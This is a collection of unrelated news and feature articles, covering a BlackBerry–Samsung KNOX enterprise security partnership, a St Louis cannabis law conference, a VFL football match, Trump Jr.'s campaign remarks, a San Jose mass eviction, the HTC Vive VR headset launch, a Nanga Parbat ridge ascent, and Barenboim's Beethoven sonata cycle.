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BlackBerry today announced a strategic partnership with Samsung Electronics Co., Ltd. to provide a highly secure mobility solution for Android™. As a result, early next year, enterprise customers will have a new choice: a tightly integrated, end-to-end secure solution that brings together BES12™: a cross-platform EMM solution by BlackBerry® with Samsung Galaxy smartphones and tablets that are embedded with Samsung KNOX.
“BlackBerry and Samsung’s creation of an integrated enterprise solution for Android makes sense,” said Bloomberg Head of Enterprise Mobility, Chris Behringer. “Security is a top priority for us, and this combined offering provides a new versatile option to the marketplace.”
With KNOX, Samsung has created a set of Android devices capable of safeguarding enterprise data with multiple layers of hardware- and software- based protection. BlackBerry brings to the partnership a class-leading cross-platform enterprise mobility management (EMM) solution and a highly secure network infrastructure. Working together, the companies can now offer enterprises with a new and highly secure mobility option.
Options are critical for organizations looking to meet all their business and security needs. A global study released today(1) found that 76 percent of people in regulated industries say that the risk of legal liability and costly lawsuits will increase unless organizations make a concerted effort to adopt a comprehensive enterprise mobility management strategy.
“We share the goal to provide enterprises with the most secure mobility solutions through this partnership with BlackBerry,” said Injong Rhee, Senior Vice President of KNOX Business Group, Samsung Electronics. “Samsung KNOX is focused on delivering secure mobility solutions to enterprises and, combined with BES12, we will offer more options for customers that need enhanced levels of security on Android devices.”
“BlackBerry has developed a very close partnership with Samsung and we’re committed to deepening the interaction between our engineering and product development teams for the long-term,” said John Sims, President of Global Enterprise Services, BlackBerry. “It is a natural progression in our path to providing our customers with more alternatives to meet their evolving mobile needs. Samsung KNOX offers a number of hardware and software security features and our partnership allows us to tightly integrate these capabilities with BES12.”
With BES12 and Samsung KNOX, customers can take advantage of the following benefits:
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— An integrated solution that brings together the secure connectivity and
class-leading device, applications and data management capabilities
BlackBerry is known for together with the security features embedded in
Samsung Galaxy devices.
— Android security enhancements that reduce threats that bypass
application security mechanisms while minimizing damage from flawed
applications.
— Complete separation of business and personal data for uncompromised
corporate security and employee privacy.
— A series of core security enhancements to better protect device
integrity from kernel to apps.
— Enhanced user experience Workspace for a more flexible approach for
enterprise deployment.
Availability is expected in early 2015. Samsung will resell BES12 to joint customers and BlackBerry will offer KNOX support as part of the Gold family of BES12 subscriptions. Pricing will be announced upon availability.
The ability to manage Samsung Galaxy devices with KNOX embedded is just one of the many features included in BES12. To learn more about BES12, visit www.BlackBerry.com/bes12. |
Fall Cannabis Law Reform Conference in Saint Louis on November 7 show-mecannabis November 4, 2015 | show-mecannabis
The Fall Cannabis Law Reform Conference is rapidly approaching, and I hope that many of you will join us for the event this Saturday at the Crowne Plaza at 200 N. 4th Street in Downtown Saint Louis. The finalized schedule is as follows:
9:00 a.m. – 10:00: Registration
10:00 – 10:45: Show-Me Cannabis Board and NORML Chapter Leaders
10:45 – 11:30: Jack Cardetti, Campaign Consultant for New Approach Missouri
11:30 – 12:45 p.m.: Lunch
12:45 – 1:30: Veterans and Medical Cannabis (Tom Mundell, Past State Commander of Missouri Veterans of Foreign Wars; Sarah Runge, Iraq War veteran and patient; and John Payne moderating)
1:30 – 2:15: Medical Cannabis and Nursing (Sheila Dundon, Patrick Mayfield, Lindsay Benoist, and Amber Langston moderating)
2:15 – 3:00: Families and the War on Cannabis (Brandy Johnson, Jim Taber, Trish Bertrand, and Amber Langston moderating)
3:00 – 3:45: Panel Discussion with Jeff Mizanskey (Jeff Mizanskey, Chris Mizanskey, and Dan Viets moderating)
3:45 – 4:00: Break
4:00 – 5:00: Paul Armentano, Deputy Director of NORML
5:00 – 5:15: Presentation of the Second Annual Rory Ellinger Award
We recommend a $10 contribution for attendees, but if you are disabled or under financial hardship, your entry is free. Please invite as many people as possible on Facebook and register for the conference on our website.
Directly following the conference, we will reconvene at the Atomic Cowboy (4140 Manchester, Saint Louis, 63110), starting at 6:00 p.m. There will be a contribution of $40 to attend, and that includes a buffet, which will be served at 7:00 p.m. Join the event page, invite your friends, and get your tickets here!
And don’t forget about our pre-conference party on Friday evening from 6:00 to 8:00 p.m. It will be hosted at the unique offices of KAOH Media at 2210 Pestalozzi, Saint Louis, MO 63118. Attendees will receive complimentary drinks and food from Gooseberries and Hot Box Cookies and will be treated to the acoustic guitar work of Dennis Schilligo.
There are recommended contribution levels of $25, $50, $100, and $250. You can join that event page on Facebook here and register on our website here.
We would also like to thank our event sponsors: Mr. Nice Guy, Hot Box Cookies (offering both gift and late night delivery!), Carrie Hudson, and Monchil’s Longhorn Ranch. If you are interested in sponsoring the event and reaching a socially conscious audience for your organization or business, it’s not too late to be included. Check out the sponsorship form online now! |
Match result
Collingwood 15.12.102 defeated Werribee 11.4.70
In action
Jed Anderson (22 disposals, 5 tackles, 2 goals)
Ben McKay (16 disposals, 11 marks)
Matthew Taylor (14 disposals, 5 tackles)
Lachlan Hansen (9 disposals, 3 goals)
Will Fordham (15 disposals)
Lindsay Thomas (8 disposals, 5 tackles)
Story of the game
In a day reminiscent of the late-eighties, Werribee hosted Collingwood in a curtain-raiser at Etihad Stadium on Saturday.
Two early goals to Lachlan Hansen had the Tigers off to a flyer, and two minutes into the second quarter their lead was 20 points.
Collingwood hit back though, booting the next four, before Hansen hit the scoreboard again. The teams went in almost level at the main break.
Jed Anderson kicked the first goal of the third term, but from there the Magpies took control. Five goals from Kayle Kirby helped Collingwood to a comprehensive 32-point victory.
Best of the VFL
Tom Gribble
The Werribee midfielder had 30 disposals and laid 4 tackles, notching up another impressive performance for 2017.
Talking points
Hansen impacts at either end
Playing in attack, Hansen kicked three first half goals and had a hand in several others.
After the main break as Collingwood took control of the game, Hansen spent time in defence to help stem the flow, easing the load on youngsters Ben McKay and Matt Taylor.
“Lachie looked really damaging forward and then went back into defence in the second half when we started losing some soldiers,” North Development Coach David Loader said.
“He took a couple of great contested marks and arguably could have had four or five goals at half-time.
“He played the team game as always, and gave a couple off, but looked really damaging up forward.”
Ben backs up
Ben McKay has played in the back half in recent weeks, and had another big job against Lachlan Keefe on Saturday.
He finished with 16 disposals and 11 marks in another valuable learning experience.
“Ben really set himself up this week to play a whole game in defence and saw some real improvement,” Loader said.
“Ben competed pretty well and positioned himself well to take a couple of marks.”
Taylor stands tall
Rookie-listed player Matt Taylor was important deep in defence, setting up Werribee’s attack from the back.
“He’s put together two or three games where he’s become pretty reliable in the way he defends,” Loader said.
“He’s another one that’s had a little bit of good form at the minute.
“The offensive side of his game, when he gets the ball in his hand, he’s able to use his leg-speed and open the game up a little bit and challenge them with the ball.”
Anderson finds form
Jed Anderson put in another solid performance to put himself in selection contention.
“Jed played mainly as a mid-forward but did go into some stoppages and did a little bit of clearance work,” Loader said.
“His last couple of games have been a real step forward. He’s certainly playing with more energy." |
poster="http://v.politico.com/images/1155968404/201609/3700/1155968404_5108435561001_5108417630001-vs.jpg?pubId=1155968404" true Trump Jr. pushes back on idea his dad 'choked' during Mexico meeting
Donald Trump's oldest son fired back at Tim Kaine and Hillary Clinton's campaign on Thursday, rebutting their accusation that his father "choked" by not discussing the construction of the border wall in depth with Mexican President Enrique Peña Nieto.
Kaine appeared on multiple networks Thursday morning (Fox News Channel excluded), tearing into Trump's tough immigration speech on ABC after failing to bring up payment of the wall during his meeting as indicative of someone who "talks out of both sides of his mouth."
Story Continued Below
“I think it's ridiculous. That has no credence. Anyone who knows anything about a deal or negotiation you build a relationship first. You don’t go with the hardest line aspect of a thing on day one. We’ve been very clear. We’ve never backed away from that. There are methodologies by which we can do it," Donald Trump Jr. said during an interview on Fox News' "America's Newsroom."
Suggesting that if Clinton or Kaine might think differently if they had "ever done a deal, or maybe a good deal, in their lives" or "anything in business," Trump Jr. laced into the Democratic ticket for never experiencing "the real world" rather than "just being politicians talking in theory without any actual practice maybe he’d know that, but because they don’t, because they’ve never built anything, because they’ve never actually created a job, they sit there in sound bites."
"Hillary Clinton will regurgitate sound bites that someone much wittier than her will write for her," Trump Jr. remarked. "That’s the way they’ve conducted their entire lives. My father has done these things, he’s created those jobs. He’s done it in the real world where real people’s lives, their families, their families’ livelihoods and well-beings depend on him. Trust me. He knows how to set up a negotiation.” |
Demolition of 216-unit complex is the latest example of rising income inequality in a region home to many of the world’s wealthiest technology companies
Iris Milano could hardly sleep after she got the news that her family would be kicked out of their two-bedroom apartment in San Jose.
“You’re always thinking and worrying. It’s something that is always with me,” said Milano, 47, a skin-care technician who lives with her husband and 14-year-old son in an apartment protected by rent control in the northern California city. “We are being forced to move. This is our home.”
Milano, who is originally from Venezuela and has lived in the area for 13 years, is one of roughly 670 tenants who are being displaced from their homes in what local housing advocates believe to be Silicon Valley’s largest-ever mass eviction of rent-controlled tenants.
The 216-unit complex called the Reserve Apartments that is being demolished to make way for a development of market-rate housing – located five miles away from Apple’s headquarters, 14 miles away from Google and 20 miles away from Facebook – is the latest example of rising income inequality in a region home to many of the world’s wealthiest technology companies.
Facebook Twitter Pinterest Iris Milano. Photograph: Sam Levin for the Guardian
Residents of the Reserve recently learned they would all have to move out by April of next year so that developers could move forward with construction of new housing that many of them will not be able to afford.
All of the modest apartments at Reserve are protected by rent control laws, which means the landlord is barred from increasing rents beyond 5% each year.
As a result, the complex is home to a diverse mix of working-class residents, low-income tenants as well as some newer, wealthier renters, including tech workers. For the longtime residents already struggling to make ends meet, it’s clear that they will face an uphill battle in their search for comparable housing in the surrounding area – and that they will be entirely priced out of the new building replacing their home.
“My family is all here,” said Kira Nelson, a 32-year-old stay-at-home mother, who said she is considering moving to Sacramento, 120 miles north, where she can afford the same level of housing.
“I don’t resent the millionaires ... but all the locals are moving out,” she said.
After living at the Reserve for seven years, Nelson’s family pays $2,000 a month for a two-bedroom. Equivalent housing nearby appears to cost $1,500 more than that, she said, which means she would have to go back to work if they want to stay in the area.
“I’d prefer to raise my children,” she said as her two young kids rode bikes in circles outside her door.
The Reserve evictions are part of a much broader trend of northern California communities becoming unaffordable to middle-class people in the face of rapid gentrification and a booming tech economy.
Facebook Twitter Pinterest Reserve Apartment Homes: located five miles from Apple headquarters, and 20 miles from Facebook. Photograph: Sam Levin for the Guardian
Between 2000 and 2013, the number of low-income households in the Bay Area increased by 10%, but the region lost 50% of units defined affordable for this population, according to researchers at the University of Berkeley, California, who have closely studied gentrification and displacement.
Studies have also repeatedly shown that Silicon Valley tech firms are exacerbating inequality and that many local workers do not make enough to support a family.
The region that has one of the highest rates of homelessness in the country.
Amid this intensifying housing crisis, mobile home parks, large homeless encampments and other complexes that house vulnerable residents have faced increasing threats of closure and eviction.
Projects like the one replacing the Reserve apartments are designed to help address the housing shortage by building denser apartment buildings in an area where demand is so high.
The developer, Greystar Real Estate Partners, intends to build 640 new apartments on site, along with 8,000 square feet of commercial space. “We believe for the long term, the best way of bringing rents down is to increase supply,” said Dan Orloff, spokesman for Greystar.
None of the new units will be below market-rate, he added.
I don’t resent the millionaires ... but all the locals are moving out Kira Nelson
The lack of protections for tenants and an absence of local anti-displacement laws means that it’s entirely legal for Greystar to displace hundreds of residents and replace them with wealthier renters in the coming years.
“It’s been a tidal wave of displacement,” said Kyra Kazantzis, directing attorney of the Law Foundation of Silicon Valley, a local nonprofit. “We’ve seen increasing pressure on owners to sell and redevelop.”
Kazantzis said in her 24 years at her organization, she could not recall a larger single mass eviction than the Reserve case. A spokeswoman for the city of San Jose said officials believed it was the largest of its kind in the city.
But the city, like many municipalities in the region, encourages this kind of high-density development targeting higher incomes as part of its long-term plans to accommodate a swelling population and a rise in employment.
“This is one of our growth areas where we have plans to intensify residential and commercial development,” said Lesley Xavier, supervising planner for the city. “This is where San Jose is going to grow.”
City leaders’ comments about the need to grow offer little consolation to Reserve tenants who won’t be benefiting from the region’s economic development.
Greystar is offering to pay three months rent to low-income tenants who make 80% of the median income in the area or less, meaning less than roughly $76,000 for a family of four.
But on a recent afternoon at the complex – where red doors bear signs warning tenants they will have to leave next year – some said they make too much to qualify for the assistance but still expect to face significant financial hurdles in their pending evictions and relocations.
Facebook Twitter Pinterest Elena Gaytan and her three children. Photograph: Sam Levin for the Guardian
“I’m upset, because it took so long to find this apartment,” said Elena Gaytan, a 35-year-old Mexican immigrant.
(Her 15-year-old daughter, Grecia, who translated an interview, added: “I feel upset. My school is close and I don’t know where we will move.”)
“We put applications everywhere. But nothing is affordable,” said her stepfather Carlos Trinidad, a 43-year-old roofer.
The couple, who have three kids, pays $2,300 for their two-bedroom, and Trinidad said the stress of the eviction has been difficult to manage. “It’s too much pressure,” he said. “I try not to think too much about it.”
Gabriella Sandoval, a 27-year-old receptionist, said she and her husband, a painter, both grew up in San Jose and feel helpless in the wake of the planned demolition.
“Prices just keep going higher and higher,” she said. “There’s nothing we can do.” |
After what seems like entirely too long a wait, the consumer VR headset business is finally in full swing. Last week we saw the launch of Oculus’s Rift, and now this week we have the second of the major VR headsets launching, the HTC Vive. A joint development project between the reclusive game developer Valve and mobile manufacturer HTC, the Vive offers a second take on what a first-generation consumer VR headset should look like and be capable of doing.
Today is the official launch of the headset, as HTC begins delivering the headset to pre-order customers. Unfortunately the headset is in short supply, and if you didn’t pre-order one back at the end of February you’re going to be waiting a bit for a chance to get one, as HTC is not taking further pre-orders at this time. Nor at this point it’s not clear what’s going to be faster: waiting for pre-orders to open, or trying to snag a retail unit in May.
In any case, alongside the launch of the Vive, there are also driver updates to talk about. AMD pushed out a new Radeon driver release last night – 16.4.1 – and while their previous release already supported the Vive, this latest release in turn offers the latest support for the headset. Meanwhile NVIDIA is not releasing a new driver update today – last week's driver is already fully qualified – but they do have a blog post up celebrating the launch of the Vive.
HTC Vive Retail: First Impressions
While a full review of the Vive is still in the works for the future, I wanted to offer some impressions of using the final, retail headset at GDC 2016. There the Vive was on demonstration at several locations, including Epic Games’ booth, and Valve’s own ballroom center. Although my time with the headset was somewhat limited – VR headsets were by far the most popular attraction at GDC and as many people wanted to see them as possible – I did have a chance to check out the headset with both Valve and Epic’s demos.
Starting then with the Valve demo, the company was at the show to showcase the headset and their accompanying The Lab game, a collection of mini-games more or less set in the Portal universe. The version of The Lab the company was showing off was incomplete – only four of the mini-games were available – so I can’t comment on the complete package. But if you’re familiar with mini-game collections such as early Wii titles, then you should have an idea of the kind of smorgasbord experience Valve is going for here.
HTC Vive Specifications Display 2x OLED Resolution 2160x1200 (combined)
1080x1200 (per eye) Refresh Rate 90 Hz FOV ~110°? Sensors Gyroscope
Accelerometer
Laser Position Sensor Position Tracking 2x "Lighthouse" Base Stations Audio BYO, Earbuds Included With Kit Controls 2x Vive Motion Controller Launch Date 04/05/16 Launch Price $799
But before we get too far into The Lab, let’s talk about the Vive headset itself. The units Valve was using at GDC were not any different from the first Vive Pre units announced at CES 2016 in January, and while I don’t have confirmation of this, at this point I would be surprised if the retail units are physically any different from the Pre units, as I wasn’t able to spot any differences. In either case, my initial impression is that while Valve isn’t doing the hardware manufacturing themselves – HTC getting that honor – it does at times show that level of polish that Valve products are known for.
With the Vive, Valve is looking to push room-scale VR right off the bat, which sets it apart from the Oculus Rift and its initial, Xbox One controller-based experience. To that end the Vive ships with the headset itself, two base stations for tracking the user, and two handheld motion controllers. What you won’t find with the Vive is any kind of gamepad, and while Valve isn’t preventing developers from doing more traditional games – the space sim Elite: Dangerous already supports the Vive – they are clearly trying to get developers into the mindset of working with motion.
In terms of specifications and capabilities, the Vive headset sports a pair of 1080x1200 OLED panels – one per eye – for a combined 2160x1200 experience that runs at 90Hz. As a first-generation headset The Vive is otherwise quite similar to the Oculus Rift in a lot of fundamental ways, and I wouldn’t be surprised if both headsets are sourcing OLED panels from the same manufacturer. This parallel development between the two headsets means that there’s a lot in common between the two, but there are also some notable differences. And with apologies to Valve and HTC here, I’m going to make a lot of comparisons to the Rift as comparing and contrasting the two helps to understand the strengths and weaknesses of both devices.
The display itself is of course paramount, and a lot of my experiences with the Rift are applicable to the Vive as well. This is a first-generation headset and clearly so; the screen-door effect is not strong, but depending on the kind of content being used, it is present at times. Valve’s own demos tend to be more abstract, which hides this fairly well. But games with more details, such as the Star Wars Trials on Tatooine tech demo, fare a bit worse.
There is going to be a lot written (and even more debated) about which headset is better, and while I won’t make a definitive claim until I can fully review both headsets, I will say that the optics alone are very different. The Vive and Rift are clearly doing different things with their lenses, and in my experience so far I’ve found that the Vive is more prone to chromatic aberrations than the Rift. Reading text, for example, is harder on the Vive, and it seems like the sweet spot is smaller, to the point that you need to get any text straight in front of you for best results.
However I’m unsure whether this is a headset configuration issue, or just something inherent to the Vive. There’s also the matter of whether having a blurrier experience at the peripherals is more useful or not; in my limited experience with the Vive, it seemed to work fine. Unfortunately I don’t have a good feel for the field of view yet, as I really need the two headsets side-by-side to make that determination.
At this point I feel like I need more time on the Vive to get a great feel for how well it’s handling head-tracking, but I did not notice any immediate problems using the headset. In every Vive demo I’ve used, head tracking has registered to my conscious mind as instant, and I’ve had little trouble adapting (sometimes to the chagrin of the booth operator, as it’s similarly easy to get a bit too into the game and start drifting towards their expensive monitors with my long reach). However re-acclimating to the real world after using the Vive was a bit more of a challenge than it was with the Rift; I needed longer to get my proper sense of depth perception back. But admittedly I’m not sure if this is a Vive thing or the fact that it was after 4pm in the afternoon when I finally wrapped up with Valve’s demo.
Meanwhile in terms of fit the Vive fits more or less like the Rift, which is to say that it’s a sturdy fit that can stretch to accommodate even my large head. Weight also seems to be good, as the headset doesn’t seem to pull too hard or get tiring to wear even with its front-heavy nature. Meanwhile in a notable difference from the Rift, the Vive does not include any kind of built-in headphones. This means that the user will need to bring their own audio gear, which opens up a lot of options for sound – everything from earbuds (which are included with the retail kit) to high-end headphones can be used here – but it does mean that putting on the Vive is a bit more involved since you need to put on the headset and then the headphones (and then the motion controllers).
Speaking of the motion controllers, this is without a doubt the biggest differentiator from the Rift at this time, as it’s the motion controls that unlock the room-scale experience Valve is pushing. If I can make another Wii analogy here, in-hand the Vive motion controllers have a similar feel, but of course with the Vive’s far better tracking and sensors. The motion controllers feel natural to use, and while it takes a bit of time to get used to using them without being able to see the buttons, it’s a quickly acquired skill. Having used both this and the forthcoming Oculus Touch controller, I will say that they have different feels to them and it will be noticeable; it’s a Wii-like wand versus what I can only describe as a more brass-knuckles kind of feeling to the Oculus.
Getting back to the software then, throughout my experience with the Vive, I keep gravitating back to Wii comparisons, as coupled with the controller that is the most intuitive way to describe the experience. It’s highly accurate position tracked Wii remotes with a VR headset. There’s going to be a lot of experimentation here, both inside and outside of Valve, as developers get a feel for how motion controls need to work in a VR environment.
The Lab of course is Valve’s internal effort to work this out with a tried and true mini-game collection. The GDC demo was composed of four experiences (I hesitate to call all of them games): what’s best described as a sight-seeing tour around Washington’s Vesper Peak, a slingshot game based around lobbing Portal 2 personality cores at distant stacked crates and exploding boxes (think first-person Angry Birds), an archery game defending yourself from the 2D cardboard cutout-like humans in various Aperture Science media, and finally a bullet hell shoot ‘em up that has no discernable Portal tie-in, in which your right hand is the ship and the action takes place in 3D. All of these demos are clearly meant to demonstrate a different concept of motion controls, and while I only had a few minutes with each, the shoot ‘em up was probably the most fun (and most likely to get someone a punch in the face). There are more mini-games in the full version of The Lab, and while I can’t say for sure whether any one game will be the stand-out, of what I’ve seen so far this looks like a fun and competent collection of games, and a good starting point for future games for Valve and other developers.
Speaking of other developers, Lucasfilm’s ILMxLab also had a presence at GDC, teaming up with Valve and others to show off Star Wars: Trials on Tatooine, which is part of their own experiments with interactive story telling. The demo is somewhere between a game and a real-time rendered VR movie, with a fairly lengthy cut-scene leading into a few minutes of VR motion-inspired gameplay, the highlight of which is deflecting blaster bolts at Stormtroopers. ILM was very clear about this being an experiment, and this does show at times, but it’s an example of one possible way we could see VR gaming and story telling go in the future.
Finally, Epic Games’ also had Vives on-hand at their booth to show off Trials on Tatooine along with the latest build of their Bullet Train VR demo. A full interactive experience, Bullet Train is the most combat-focused of all of the VR demos I’ve tried so far, having the user teleport around and use various guns to take out an attacking force inside of a train station. Between physical attacks, shooting, and picking bullets out of the air and throwing them back at the attackers, Bullet Train managed to keep things varied.
A common theme in all of this is that developers are still in an experimental stage for game design, and while today’s launch of the Vive hardware marks the true beginning of consumer VR hardware, the software side is still in its infancy. Valve’s vision of room-scale motion controlled VR is going to take some time to evolve, but I’m curious to see where we end up in the years to come. In the more immediate future, it will be early titles like the pack-ins Fantastic Contraption and Job Simulator that set the initial pace for Vive VR gaming.
Zotac ZBOX MAGNUS EN980: A Small PC For Room-Scale VR
Finally, while checking out the Vive I also had a chance to stop by and quickly chat with Zotac, who was close by showing off their upcoming ZBOX MAGNUS EN980 mini-PC. Besides Valve’s demo area being a high-traffic location that’s great to get some attention, Zotac’s planning also highlights the fact that room-scale VR as Valve is planning for does not necessarily mesh well with traditional tower-style PCs. Going back to the Wii as an example, in most homes I suspect the only place large enough (and safe enough) for the upwards of 15ft x 15ft experience that Valve is planning for is the living room, and while this doesn’t preclude using a tower, it’s perhaps not the best environment for it. To that end Zotac is showing off their EN980, which they are specifically pitching for use as a small form factor VR machine.
ZOTAC ZBOX MAGNUS EN980 Specifications Processor Intel Core i5-6400 Memory DDR3L SO-DIMMs Graphics NVIDIA GeForce GTX 980 For Notebooks Storage M.2 SSD, one or two 2.5" SSDs/HDDs Networking 2x Gigabit Ethernet
IEEE 802.11ac Wi-Fi and Bluetooth Audio Capable of 5.1/7.1 digital output with HD audio bitstreaming (HDMI) I/O USB 3.0 (Type-A), USB 3.1 (Type-C), SD card reader, HDMI Operating System Compatible with Microsoft Windows 7, 8, 8.1 and 10
Inside the EN980 is an Intel Core i5-6400, with is paired with NVIDIA’s GeForce GTX 980 for Notebooks, their most powerful mobile video card. This is especially notable as this is the only mobile GeForce card fast enough to meet Valve’s recommended system requirements for the Vive. With the EN980, Zotac is essentially aiming to develop a console-sized PC that would be at home next to the traditional consoles, except suitably powerful enough for VR.
Zotac's EN980 Next to their Steam Machine
The device as they’ve been showing it off is still a prototype (though near-final), with the final unit expected to launch at Computex. While the price will undoubtedly be high given the components they’re using, I do feel that Zotac has the right idea for how small form factor PCs will be relevant to the room-scale experience. However with the current prototype I do fear that Zotac has overlooked I/O port placement – specifically, the HDMI port is on the back instead of being on the front for easily plugging in a Vive – and there is talk of including a break-out box of some kind to make these ports accessible from the front. Overall I wouldn’t be surprised to see the EN980 and similar designs become a small but noticeable niche for VR, as if Vive sales are any indication, there is a need for VR-capable machines for the living room. |
While Great Britain was excelling at the London Olympics, Sandy Allan, 57, and Rick Allen, 59, were suffering exhaustion, hunger and frostbite in conquering a ridge on Nanga Parbat. Now the full story can be told for the first time
Sandy Allan and his climbing partner Rick Allen were at their last camp below the summit of Nanga Parbat, the world's ninth highest mountain, when they gathered together the food they had left.
After 14 days on the vast unclimbed Mazeno Ridge – the longest in the Himalayas – it amounted to a packet of McVitie's Digestives biscuits.
A lighter they had taken with them had stopped working, its flint worn through. The only spare, they realised, was in the pocket of another member of the team who, exhausted and demoralised, had already decided to descend.
The consequence was that they could not light their stove to boil snow for water, essential on the world's highest mountains where the consequence of dehydration is the risk of frostbite and pulmonary and cerebral oedema. They hoped, however, that they could reach the summit and descend the imposing Diamir Face in a day and a half; they were counting on fixed ropes left by other expeditions. In reality, it took them three full days to get down from the summit without any food or water, a lengthy struggle through deep snow at the limits of survival.
Photographs of the two men at base camp indicate what they endured in conquering the last unclimbed ridge on the world's 14 peaks of 8,000 metres – a 13km long undertaking that had rebuffed all previous attempts. Rick Allen, seated drinking tea, appears skeletal. Wiry before he started, his body was starved by the effort.
In the midst of the Olympics, the achievement of the two men in climbing the ridge dubbed the "last great problem of the Himalayas" passed almost unnoticed. In the months that followed, it has become recognised as the most impressive British ascent on an 8,000m peak in a generation, the first major new route since the first ascent of the Kangshung Face of Everest by an Anglo-US team, including Stephen Venables, in 1988.
Now that their story can be told in full for the first time, it is even more remarkable, not least because of their ages: Allan was 57 and Rick Allen 59 when they made their climb.
The ascent of Nanga Parbat along the Mazeno Ridge. Photograph: Doug Scott
Allan, a mountain guide from Newtonmore in the Cairngorms, and a rope access specialist in the offshore oil industry, gave a lecture on his ascent in London last week.
He has guided on Everest and climbed the North Face of the Eiger, but Mazeno – which he first attempted on an expedition led by Doug Scott in 1992 – had stayed in the back of his mind.
First explored by British mountaineer Albert Mummery, who died on the mountain in 1895, Nanga Parbat became the focus of German and Austrian climbers between the first and second world wars and after 1945; it was finally conquered by Hermann Buhl in 1953.
Involving both technical climbing and massive endurance, the Mazeno route requires ascents on seven subsidiary summits above 6,000m before tackling the final summit.
The route had almost been climbed in 2004. Then the US team of Doug Chabot and Steve Swenson climbed all the subsidiary peaks to reach the shoulder below the final 2km of slopes to the summit. But with bad weather and Swenson ill, they had retreated.
"It had always inspired me," said Allan last week. "I had talked about going back again with Voytek Kurtyka [the Polish climber], but for personal reasons it did not happen. I'd been on it before, climbing three of the subsidiary summits before we hit a brick wall. I knew what was needed to climb it."
The team he put together with Allen included three Sherpas and Cathy O'Dowd. The other four team members would become exhausted and "discouraged" by the scale of the ridge, electing to descend before the final ascent.
"When we got to the whale back ridge at the beginning people were saying, 'Wow, this ridge is enormous. Jeepers – it's a long way'. You would cross one of the summits and there was just more and more of it going on."
Even with the most optimistic assumptions – planning for eight days' food and fuel they thought they could stretch to 10 – the climb would take 18 days with seven different camp and bivouac sites, some of them no more than snow holes. "We didn't think it would take 18 days. I'd done the Diamir Face [the route they would descend down] two years ago. I thought … we could get over the summit and down in a day and a half. Instead we spent three nights on the descent."
During that descent, without food or water, and with both men suffering from frostbitten feet, and slowed by deep snow, they were in danger .
"Cathy had left us the satellite phone when she descended. We had enough power for three calls. I was getting concerned the day after the summit. Rick was very tired. I called our agent to check what availability there might be for a helicopter if we got in trouble. I was worried and said we had the potential to be in trouble. Rick heard the call and rallied. He's a tough and determined individual. But he was very tired, sitting down to rest every few minutes, falling asleep sometimes. On the last day, which involved steep icy ground, what should have taken between three and four hours took us all day, getting into camp at 11 o'clock at night."
Among those who praised the ascent was Doug Scott who described it as an "incredible achievement".
The challenges of the ridge have been detailed by mountain guide Mark Synnott. "Although the ridge itself is objectively safe," he wrote in a US climbing magazine, "it's important to remember that the route's inordinate length makes it a very committing proposition. Both sides are guarded by huge Himalayan faces that you wouldn't want to abseil in your worst nightmare, so if you were less than halfway out, your best bet would be to backtrack – time-consuming and difficult in bad weather. Naturally, there's a point of no return."
The question is why was there such a long gap between the mapping of British routes in the Himalayas. While some new routes have been opened up by the likes of Alan Hinkes, the first Briton to climb all the 8,000ers, the gap has been noticeable.
Allan ascribes this historic change in emphasis to a series of high-profile disasters for British mountaineering, beginning with the disappearance of Peter Boardman and Joe Tasker on Everest in 1982. "I think with the loss of Boardman and Tasker and Al Rouse on K2, there was a realisation that pushing big routes on big mountains could be very dangerous."
Asked about the future he answers: "I'm 57. I'm a father. The rat's been fed."
Rick Allen will be giving a lecture on the ascent at the Rheged Centre, Penrith, on 2 December (enquires@rheged.com) |
We are Danny's boys - and Danny's girls - and according to the Times yesterday, there are 633 of us. Somewhere back in 2007 we were the lucky ones who got our act together to buy tickets for the whole of Daniel Barenboim's eight-concert cycle of the complete Beethoven piano sonatas at the Festival Hall. Over the past three weeks, tickets to each concert have become some of the hottest must-haves in town. The hall has been turning hopeful buyers away in droves. Already the cycle is being lauded as London's musical event of the year - and even, according to the Evening Standard, of the decade. And now there is just one final concert and four more sonatas before it is all over.
For years, it was at the back of my mind to listen to a complete cycle of the 32 Beethoven sonatas. Somehow it never happened. But when the Barenboim cycle was announced - and all to be played in an unusually concentrated timetable of less than three weeks - I needed no second invitation. These weeks have been ringfenced in my diary for months. Right now, all my waking hours are dominated by Beethoven. Before each concert I have studied the sonatas hard. My iPod is crammed with recorded performances from Artur Schnabel to Mitsuko Uchida (I like Claudio Arrau best). Not everything in life lives up to expectation - but these concerts have exceeded my dreams. When the last recital finishes tomorrow afternoon, I will be bereft. I will find it hard not to cry as Barenboim begins the final movement of opus 111, the one piece I cannot bring myself to study in advance.
Part of the rich emotional reward of these concerts has of course been to do with Barenboim himself. London and Barenboim go back a very long way. There has always been a special affection for him here. Nowadays there is massive respect too, piling up from every direction for all his varied cultural and political achievements. These recitals have therefore been special affirmations. Each time Barenboim has stepped on to the platform he has been greeted with some of the warmest receptions I have heard. If he doesn't get a standing ovation even before he plays a note tomorrow, I will be amazed.
Actually, the real hero of these three weeks is not Barenboim. It is Beethoven himself. I am painfully aware that anything I try to write about the 32 sonatas is bound to be banal, because no one's words can do justice to the imaginative range of the music that Beethoven conjured for the keyboard over his lifetime. So I will take refuge in something that the pianist Louis Kentner once wrote. The Beethoven piano sonatas, said Kentner, should be presented to the first Martian visitor to our planet as proof of what human civilisation is capable of. Here, friend, we should say to the little green men. This is the best of us.
Kentner belonged to a generation of Europeans who had no difficulty thinking about Beethoven in such respectful, even worshipful, terms. Beethoven stood at the summit of musical culture until well into the second half of the 20th century. Everything in music was to some extent conditioned by him. But is that still true? Our age is suspicious of cultural hierarchy. It celebrates cultural relativism. Beethoven is certainly not in eclipse, but his music has become one choice among others. On an iPod his sonatas are just another set of songs.
Listening to Barenboim play Beethoven throws down a challenge to that modern eclecticism. The quality and intensity of these eight recitals insist on the uniqueness of Beethoven's vision. Of course, creative art cannot be entirely reduced to an absolute hierarchy. But is there any greater musical achievement than these sonatas? If so, do tell me. Music of this quality calls on us to be worthy of our inheritance - and pass it on, Alan Bennett-style, to others.
Years ago, when I was a history boy at Bennett's own school, our teacher was challenged by a pupil who assured him that some rock star of the moment was better than his beloved opera, and that it was only the teacher's opinion that opera was better. "I will not allow you to say that all opinions are as good as one another," the teacher reprimanded him. "If someone tells me The Chocolate Soldier is better than Don Giovanni, that's not an opinion. That's wrong."
It is just not possible to disagree with that statement. Some things are just better than others. full stop. In music, few things are better than the Beethoven piano sonatas. Is that an elitist view? Yes it is. But is there anything wrong with it? Not at all. It's not the audience that is an elite for liking the music. It is Beethoven for writing it in the first place.
